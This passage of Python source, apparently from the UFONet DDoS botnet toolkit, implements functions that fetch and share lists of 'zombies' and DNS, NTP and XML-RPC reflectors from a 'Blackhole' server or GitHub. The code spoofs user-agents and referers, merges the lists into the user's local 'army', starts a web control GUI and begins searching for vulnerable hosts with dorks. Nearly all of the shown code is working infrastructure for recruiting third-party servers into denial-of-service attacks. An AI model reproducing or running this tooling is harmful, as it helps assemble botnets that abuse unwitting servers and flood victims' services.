  1927. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  1928. time.sleep(2) # sleep a bit more
  1929. print('-'*12 + '\n')
  1930. print("[Info] [AI] Transfer -> [DONE!]\n")
  1931. except Exception as e:
  1932. print(str(e) + "\n")
  1933. except:
  1934. print('-'*12 + '\n')
  1935. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1936. return
  1937. except:
  1938. print('-'*12 + '\n')
  1939. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1940. return
  1941. def update_gui_data(self):
  1942. # download all GUI stream data
  1943. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1944. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1945. if self.options.proxy: # set proxy
  1946. self.proxy_transport(self.options.proxy)
  1947. if self.options.timeout: # set timeout
  1948. try:
  1949. timeout = int(self.options.timeout)
  1950. except:
  1951. timeout = 5
  1952. else:
  1953. timeout = 5
  1954. if timeout < 1:
  1955. timeout = 5
  1956. if self.options.forcessl:
  1957. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1958. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1959. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1960. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1961. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1962. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1963. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1964. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1965. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1966. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1967. else:
  1968. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1969. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  1970. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1971. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  1972. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1973. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  1974. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1975. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  1976. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1977. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  1978. f = open(self.news_file, 'w')
  1979. f.write(news_reply)
  1980. f.close()
  1981. f = open(self.missions_file, 'w')
  1982. f.write(missions_reply)
  1983. f.close()
  1984. f = open(self.board_file, 'w')
  1985. f.write(board_reply)
  1986. f.close()
  1987. f = open(self.grid_file, 'w')
  1988. f.write(grid_reply)
  1989. f.close()
  1990. f = open(self.wargames_file, 'w')
  1991. f.write(wargames_reply)
  1992. f.close()
  1993. print('-'*25 + "\n")
  1994. print("[Info] [AI] GUI data correctly updated:\n")
  1995. if news_reply:
  1996. print("[Info] [AI] [News] : OK!")
  1997. if missions_reply:
  1998. print("[Info] [AI] [Missions]: OK!")
  1999. if board_reply:
  2000. print("[Info] [AI] [Board] : OK!")
  2001. if grid_reply:
  2002. print("[Info] [AI] [Grid] : OK!")
  2003. if wargames_reply:
  2004. print("[Info] [AI] [Wargames]: OK!")
  2005. print('-'*25)
  2006. print("\n[AI] "+self.exit_msg+"\n")
  2007. def downloading_list(self):
  2008. # add your mirror to protect/share/distribute... [Zombies]
  2009. try:
  2010. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2011. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2012. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2013. if self.options.timeout: # set timeout
  2014. try:
  2015. timeout = int(self.options.timeout)
  2016. except:
  2017. timeout = 5
  2018. else:
  2019. timeout = 5
  2020. if timeout < 1:
  2021. timeout = 5
  2022. if self.options.proxy: # set proxy
  2023. self.proxy_transport(self.options.proxy)
  2024. if self.options.forcessl:
  2025. try:
  2026. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2027. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2028. except:
  2029. abductions_reply = ""
  2030. try:
  2031. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2032. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2033. except:
  2034. troops_reply = ""
  2035. try:
  2036. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2037. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2038. except:
  2039. robots_reply = ""
  2040. try:
  2041. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2042. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2043. except:
  2044. drones_reply = ""
  2045. try:
  2046. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2047. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2048. except:
  2049. reflectors_reply = ""
  2050. try:
  2051. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2052. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2053. except:
  2054. crystals_reply = ""
  2055. try:
  2056. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2057. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2058. except:
  2059. warps_reply = ""
  2060. else:
  2061. try:
  2062. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2063. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2064. except:
  2065. abductions_reply = ""
  2066. try:
  2067. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2068. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2069. except:
  2070. troops_reply = ""
  2071. try:
  2072. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2073. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2074. except:
  2075. robots_reply = ""
  2076. try:
  2077. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2078. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2079. except:
  2080. drones_reply = ""
  2081. try:
  2082. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2083. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2084. except:
  2085. reflectors_reply = ""
  2086. try:
  2087. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2088. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2089. except:
  2090. crystals_reply = ""
  2091. try:
  2092. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2093. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2094. except:
  2095. warps_reply = ""
  2096. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  2097. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2098. print('-'*12 + '\n')
  2099. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2100. return
  2101. f = open('botnet/abductions.txt.gz', 'wb')
  2102. f.write(abductions_reply)
  2103. f.close()
  2104. f = open('botnet/troops.txt.gz', 'wb')
  2105. f.write(troops_reply)
  2106. f.close()
  2107. f = open('botnet/robots.txt.gz', 'wb')
  2108. f.write(robots_reply)
  2109. f.close()
  2110. f = open('botnet/drones.txt.gz', 'wb')
  2111. f.write(drones_reply)
  2112. f.close()
  2113. f = open('botnet/reflectors.txt.gz', 'wb')
  2114. f.write(reflectors_reply)
  2115. f.close()
  2116. f = open('botnet/crystals.txt.gz', 'wb')
  2117. f.write(crystals_reply)
  2118. f.close()
  2119. f = open('botnet/warps.txt.gz', 'wb')
  2120. f.write(warps_reply)
  2121. f.close()
  2122. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2123. except:
  2124. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2125. print('-'*12 + '\n')
  2126. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2127. return
  2128. print('-'*12 + '\n')
  2129. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2130. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2131. f_out_abductions.write(f_in_abductions.read())
  2132. f_in_abductions.close()
  2133. f_out_abductions.close()
  2134. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2135. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2136. f_out_troops = open('botnet/troops.txt', 'wb')
  2137. f_out_troops.write(f_in_troops.read())
  2138. f_in_troops.close()
  2139. f_out_troops.close()
  2140. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2141. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2142. f_out_robots = open('botnet/robots.txt', 'wb')
  2143. f_out_robots.write(f_in_robots.read())
  2144. f_in_robots.close()
  2145. f_out_robots.close()
  2146. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2147. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2148. f_out_drones = open('botnet/drones.txt', 'wb')
  2149. f_out_drones.write(f_in_drones.read())
  2150. f_in_drones.close()
  2151. f_out_drones.close()
  2152. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2153. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2154. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2155. f_out_reflectors.write(f_in_reflectors.read())
  2156. f_in_reflectors.close()
  2157. f_out_reflectors.close()
  2158. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2159. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2160. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2161. f_out_crystals.write(f_in_crystals.read())
  2162. f_in_crystals.close()
  2163. f_out_crystals.close()
  2164. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2165. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2166. f_out_warps = open('botnet/warps.txt', 'wb')
  2167. f_out_warps.write(f_in_warps.read())
  2168. f_in_warps.close()
  2169. f_out_warps.close()
  2170. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2171. num_abductions = 0
  2172. with open('botnet/abductions.txt') as f:
  2173. for _ in f:
  2174. num_abductions = num_abductions + 1
  2175. print("[Info] Zombies: " + str(num_abductions))
  2176. num_robots = 0
  2177. with open('botnet/robots.txt') as f:
  2178. for _ in f:
  2179. num_robots = num_robots + 1
  2180. print("[Info] Droids : " + str(num_robots))
  2181. num_troops = 0
  2182. with open('botnet/troops.txt') as f:
  2183. for _ in f:
  2184. num_troops = num_troops + 1
  2185. print("[Info] Aliens : " + str(num_troops))
  2186. num_drones = 0
  2187. with open('botnet/drones.txt') as f:
  2188. for _ in f:
  2189. num_drones = num_drones + 1
  2190. print("[Info] UCAVs : " + str(num_drones))
  2191. num_reflectors = 0
  2192. with open('botnet/reflectors.txt') as f:
  2193. for _ in f:
  2194. num_reflectors = num_reflectors + 1
  2195. print("[Info] X-RPCs : " + str(num_reflectors))
  2196. num_crystals = 0
  2197. with open('botnet/crystals.txt') as f:
  2198. for _ in f:
  2199. num_crystals = num_crystals + 1
  2200. print("[Info] DNSs : " + str(num_crystals))
  2201. num_warps = 0
  2202. with open('botnet/warps.txt') as f:
  2203. for _ in f:
  2204. num_warps = num_warps + 1
  2205. print("[Info] NTPs : " + str(num_warps))
  2206. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2207. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2208. print('-'*12)
  2209. if not self.options.forceyes:
  2210. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2211. print('-'*25)
  2212. else:
  2213. update_reply = "Y"
  2214. if update_reply == "n" or update_reply == "N":
  2215. os.remove('botnet/abductions.txt') # remove abductions file
  2216. os.remove('botnet/troops.txt') # remove troops file
  2217. os.remove('botnet/robots.txt') # remove robots file
  2218. os.remove('botnet/drones.txt') # remove drones file
  2219. os.remove('botnet/reflectors.txt') # remove reflectors file
  2220. os.remove('botnet/crystals.txt') # remove crystals file
  2221. os.remove('botnet/warps.txt') # remove warps file
  2222. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2223. print('-'*25)
  2224. print("\n[AI] "+self.exit_msg+"\n")
  2225. else:
  2226. zombies_ready = []
  2227. f = open('botnet/abductions.txt')
  2228. abductions = f.readlines()
  2229. f.close()
  2230. fz = open(self.zombies_file)
  2231. zombies = fz.readlines()
  2232. fz.close()
  2233. for abduction in abductions:
  2234. abduction = abduction.replace('\n','')
  2235. if abduction not in zombies:
  2236. zombies_ready.append(abduction)
  2237. else:
  2238. pass
  2239. self.update_zombies(zombies_ready)
  2240. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2241. aliens_ready = []
  2242. f = open('botnet/troops.txt')
  2243. troops = f.readlines()
  2244. f.close()
  2245. fz = open(self.aliens_file)
  2246. aliens = fz.readlines()
  2247. fz.close()
  2248. for alien in troops:
  2249. alien = alien.replace('\n','')
  2250. if alien not in aliens:
  2251. aliens_ready.append(alien)
  2252. else:
  2253. pass
  2254. self.update_aliens(aliens_ready)
  2255. os.remove('botnet/troops.txt') # remove troops .txt file
  2256. droids_ready = []
  2257. f = open('botnet/robots.txt')
  2258. robots = f.readlines()
  2259. f.close()
  2260. fz = open(self.droids_file)
  2261. droids = fz.readlines()
  2262. fz.close()
  2263. for droid in robots:
  2264. droid = droid.replace('\n','')
  2265. if droid not in droids:
  2266. droids_ready.append(droid)
  2267. else:
  2268. pass
  2269. self.update_droids(droids_ready)
  2270. os.remove('botnet/robots.txt') # remove robots .txt file
  2271. ucavs_ready = []
  2272. f = open('botnet/drones.txt')
  2273. drones = f.readlines()
  2274. f.close()
  2275. fz = open(self.ucavs_file)
  2276. ucavs = fz.readlines()
  2277. fz.close()
  2278. for drone in drones:
  2279. drone = drone.replace('\n','')
  2280. if drone not in ucavs:
  2281. ucavs_ready.append(drone)
  2282. else:
  2283. pass
  2284. self.update_ucavs(ucavs_ready)
  2285. os.remove('botnet/drones.txt') # remove drones .txt file
  2286. rpcs_ready = []
  2287. f = open('botnet/reflectors.txt')
  2288. reflectors = f.readlines()
  2289. f.close()
  2290. fz = open(self.rpcs_file)
  2291. rpcs = fz.readlines()
  2292. fz.close()
  2293. for reflector in reflectors:
  2294. reflector = reflector.replace('\n','')
  2295. if reflector not in rpcs:
  2296. rpcs_ready.append(reflector)
  2297. else:
  2298. pass
  2299. self.update_rpcs(rpcs_ready)
  2300. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2301. dnss_ready = []
  2302. f = open('botnet/crystals.txt')
  2303. crystals = f.readlines()
  2304. f.close()
  2305. fz = open(self.dnss_file)
  2306. dnss = fz.readlines()
  2307. fz.close()
  2308. for crystal in crystals:
  2309. crystal = crystal.replace('\n','')
  2310. if crystal not in dnss:
  2311. dnss_ready.append(crystal)
  2312. else:
  2313. pass
  2314. self.update_dnss(dnss_ready)
  2315. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2316. ntps_ready = []
  2317. f = open('botnet/warps.txt')
  2318. warps = f.readlines()
  2319. f.close()
  2320. fz = open(self.ntps_file)
  2321. ntps = fz.readlines()
  2322. fz.close()
  2323. for warp in warps:
  2324. warp = warp.replace('\n','')
  2325. if warp not in ntps:
  2326. ntps_ready.append(warp)
  2327. else:
  2328. pass
  2329. self.update_ntps(ntps_ready)
  2330. os.remove('botnet/warps.txt') # remove warps .txt file
  2331. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2332. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2333. if not self.options.forceyes: # ask for update everything
  2334. print('-'*25 + "\n")
  2335. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2336. else:
  2337. update_reply = "Y"
  2338. if update_reply == "n" or update_reply == "N":
  2339. print("\n[AI] "+self.exit_msg+"\n")
  2340. return
  2341. else:
  2342. try:
  2343. update_gui = self.update_gui_data() # update GUI data
  2344. except:
  2345. print('-'*25 +"\n")
  2346. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2347. print('-'*25)
  2348. print("\n[AI] "+self.exit_msg+"\n")
  2349. return
  2350. def downloading_github_list(self):
  2351. # add your mirror to protect/share/distribute... [Zombies]
  2352. try:
  2353. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2354. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2355. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2356. if self.options.timeout: # set timeout
  2357. try:
  2358. timeout = int(self.options.timeout)
  2359. except:
  2360. timeout = 5
  2361. else:
  2362. timeout = 5
  2363. if timeout < 1:
  2364. timeout = 5
  2365. if self.options.proxy: # set proxy
  2366. self.proxy_transport(self.options.proxy)
  2367. try:
  2368. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2369. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2370. except:
  2371. zombies_reply = ""
  2372. try:
  2373. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2374. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2375. except:
  2376. aliens_reply = ""
  2377. try:
  2378. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2379. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2380. except:
  2381. dns_reply = ""
  2382. try:
  2383. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2384. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2385. except:
  2386. droids_reply = ""
  2387. try:
  2388. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2389. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2390. except:
  2391. rpcs_reply = ""
  2392. try:
  2393. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2394. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2395. except:
  2396. ucavs_reply = ""
  2397. try:
  2398. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2399. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2400. except:
  2401. ntp_reply = ""
  2402. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":
  2403. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2404. print('-'*12 + '\n')
  2405. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2406. return
  2407. f = open('botnet/abductions.txt', 'w') # zombies
  2408. f.write(zombies_reply)
  2409. f.close()
  2410. f = open('botnet/troops.txt', 'w') # aliens
  2411. f.write(aliens_reply)
  2412. f.close()
  2413. f = open('botnet/crystals.txt', 'w') # dns
  2414. f.write(dns_reply)
  2415. f.close()
  2416. f = open('botnet/robots.txt', 'w') # droids
  2417. f.write(droids_reply)
  2418. f.close()
  2419. f = open('botnet/drones.txt', 'w') # ucavs
  2420. f.write(ucavs_reply)
  2421. f.close()
  2422. f = open('botnet/reflectors.txt', 'w') # rpcs
  2423. f.write(rpcs_reply)
  2424. f.close()
  2425. f = open('botnet/warps.txt', 'w') # ntp
  2426. f.write(ntp_reply)
  2427. f.close()
  2428. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2429. except:
  2430. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2431. print('-'*12 + '\n')
  2432. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2433. return
  2434. print('-'*12 + '\n')
  2435. num_abductions = 0
  2436. with open('botnet/abductions.txt') as f: # zombies
  2437. for _ in f:
  2438. num_abductions = num_abductions + 1
  2439. print("[Info] Zombies: " + str(num_abductions))
  2440. num_troops = 0
  2441. with open('botnet/troops.txt') as f: # aliens
  2442. for _ in f:
  2443. num_troops = num_troops + 1
  2444. print("[Info] Aliens : " + str(num_troops))
  2445. num_robots = 0
  2446. with open('botnet/robots.txt') as f: # droids
  2447. for _ in f:
  2448. num_robots = num_robots + 1
  2449. print("[Info] Droids : " + str(num_robots))
  2450. num_drones = 0
  2451. with open('botnet/drones.txt') as f: # ucavs
  2452. for _ in f:
  2453. num_drones = num_drones + 1
  2454. print("[Info] UCAVs : " + str(num_drones))
  2455. num_reflectors = 0
  2456. with open('botnet/reflectors.txt') as f: # rpcs
  2457. for _ in f:
  2458. num_reflectors = num_reflectors + 1
  2459. print("[Info] X-RPCs : " + str(num_reflectors))
  2460. num_crystals = 0
  2461. with open('botnet/crystals.txt') as f: # dns
  2462. for _ in f:
  2463. num_crystals = num_crystals + 1
  2464. print("[Info] DNSs : " + str(num_crystals))
  2465. num_warps = 0
  2466. with open('botnet/warps.txt') as f: # ntp
  2467. for _ in f:
  2468. num_warps = num_warps + 1
  2469. print("[Info] NTPs : " + str(num_warps))
  2470. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2471. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2472. print('-'*12)
  2473. if not self.options.forceyes:
  2474. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2475. print('-'*25)
  2476. else:
  2477. update_reply = "Y"
  2478. if update_reply == "n" or update_reply == "N":
  2479. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2480. os.remove('botnet/troops.txt') # remove aliens/troops file
  2481. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2482. os.remove('botnet/robots.txt') # remove droids/robots file
  2483. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2484. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2485. os.remove('botnet/warps.txt') # remove ntp/warps file
  2486. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2487. print('-'*25)
  2488. print("\n[AI] "+self.exit_msg+"\n")
  2489. else:
  2490. zombies_ready = []
  2491. f = open('botnet/abductions.txt')
  2492. abductions = f.readlines()
  2493. f.close()
  2494. fz = open(self.zombies_file)
  2495. zombies = fz.readlines()
  2496. fz.close()
  2497. for abduction in abductions:
  2498. abduction = abduction.replace('\n','')
  2499. if abduction not in zombies:
  2500. zombies_ready.append(abduction)
  2501. else:
  2502. pass
  2503. self.update_zombies(zombies_ready)
  2504. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2505. aliens_ready = []
  2506. f = open('botnet/troops.txt')
  2507. troops = f.readlines()
  2508. f.close()
  2509. fz = open(self.aliens_file)
  2510. aliens = fz.readlines()
  2511. fz.close()
  2512. for alien in troops:
  2513. alien = alien.replace('\n','')
  2514. if alien not in aliens:
  2515. aliens_ready.append(alien)
  2516. else:
  2517. pass
  2518. self.update_aliens(aliens_ready)
  2519. os.remove('botnet/troops.txt') # remove aliens/troops file
  2520. dnss_ready = []
  2521. f = open('botnet/crystals.txt')
  2522. crystals = f.readlines()
  2523. f.close()
  2524. fz = open(self.dnss_file)
  2525. dnss = fz.readlines()
  2526. fz.close()
  2527. for crystal in crystals:
  2528. crystal = crystal.replace('\n','')
  2529. if crystal not in dnss:
  2530. dnss_ready.append(crystal)
  2531. else:
  2532. pass
  2533. self.update_dnss(dnss_ready)
  2534. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2535. droids_ready = []
  2536. f = open('botnet/robots.txt')
  2537. robots = f.readlines()
  2538. f.close()
  2539. fz = open(self.droids_file)
  2540. droids = fz.readlines()
  2541. fz.close()
  2542. for droid in robots:
  2543. droid = droid.replace('\n','')
  2544. if droid not in droids:
  2545. droids_ready.append(droid)
  2546. else:
  2547. pass
  2548. self.update_droids(droids_ready)
  2549. os.remove('botnet/robots.txt') # remove droids/robots file
  2550. ucavs_ready = []
  2551. f = open('botnet/drones.txt')
  2552. drones = f.readlines()
  2553. f.close()
  2554. fz = open(self.ucavs_file)
  2555. ucavs = fz.readlines()
  2556. fz.close()
  2557. for drone in drones:
  2558. drone = drone.replace('\n','')
  2559. if drone not in ucavs:
  2560. ucavs_ready.append(drone)
  2561. else:
  2562. pass
  2563. self.update_ucavs(ucavs_ready)
  2564. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2565. rpcs_ready = []
  2566. f = open('botnet/reflectors.txt')
  2567. reflectors = f.readlines()
  2568. f.close()
  2569. fz = open(self.rpcs_file)
  2570. rpcs = fz.readlines()
  2571. fz.close()
  2572. for reflector in reflectors:
  2573. reflector = reflector.replace('\n','')
  2574. if reflector not in rpcs:
  2575. rpcs_ready.append(reflector)
  2576. else:
  2577. pass
  2578. self.update_rpcs(rpcs_ready)
  2579. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2580. ntps_ready = []
  2581. f = open('botnet/warps.txt')
  2582. warps = f.readlines()
  2583. f.close()
  2584. fz = open(self.ntps_file)
  2585. ntps = fz.readlines()
  2586. fz.close()
  2587. for warp in warps:
  2588. warp = warp.replace('\n','')
  2589. if warp not in ntps:
  2590. ntps_ready.append(warp)
  2591. else:
  2592. pass
  2593. self.update_ntps(ntps_ready)
  2594. os.remove('botnet/warps.txt') # remove NTP/warps file
  2595. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2596. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2597. if not self.options.forceyes: # ask for update everything
  2598. print('-'*25 + "\n")
  2599. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2600. else:
  2601. update_reply = "Y"
  2602. if update_reply == "n" or update_reply == "N":
  2603. print("\n[AI] "+self.exit_msg+"\n")
  2604. return
  2605. else:
  2606. try:
  2607. update_gui = self.update_gui_data() # update GUI data
  2608. except:
  2609. print('-'*25 +"\n")
  2610. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2611. print('-'*25)
  2612. print("\n[AI] "+self.exit_msg+"\n")
  2613. return
  2614. def uploading_github_list(self):
  2615. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2616. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2617. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2618. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2619. print('='*22 + '\n')
  2620. print("[AI] "+self.exit_msg+"\n")
  2621. def create_web_interface(self):
  2622. # launch webserver+gui
  2623. from .webgui import ClientThread
  2624. import webbrowser
  2625. host = '0.0.0.0'
  2626. port = 9999
  2627. try:
  2628. webbrowser.open('http://127.0.0.1:9999', new=1)
  2629. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2630. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2631. tcpsock.bind((host,port))
  2632. while True:
  2633. tcpsock.listen(4)
  2634. (clientsock, (ip, port)) = tcpsock.accept()
  2635. newthread = ClientThread(ip, port, clientsock)
  2636. newthread.start()
  2637. except (KeyboardInterrupt, SystemExit):
  2638. sys.exit()
  2639. def extract_dorks(self):
  2640. # extract dorks from file (ex: 'dorks.txt')
  2641. try:
  2642. f = open(self.dorks_file)
  2643. dorks = f.readlines()
  2644. dorks = [ dork.replace('\n','') for dork in dorks ]
  2645. f.close()
  2646. if not dorks:
  2647. if not options.autosearch:
  2648. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2649. return
  2650. else:
  2651. return dorks
  2652. except:
  2653. if not options.autosearch:
  2654. if os.path.exists(self.dorks_file) == True:
  2655. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2656. return #sys.exit(2)
  2657. else:
  2658. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2659. return #sys.exit(2)
  2660. else:
  2661. return
  2662. def search_zombies(self, dork, zombies_found):
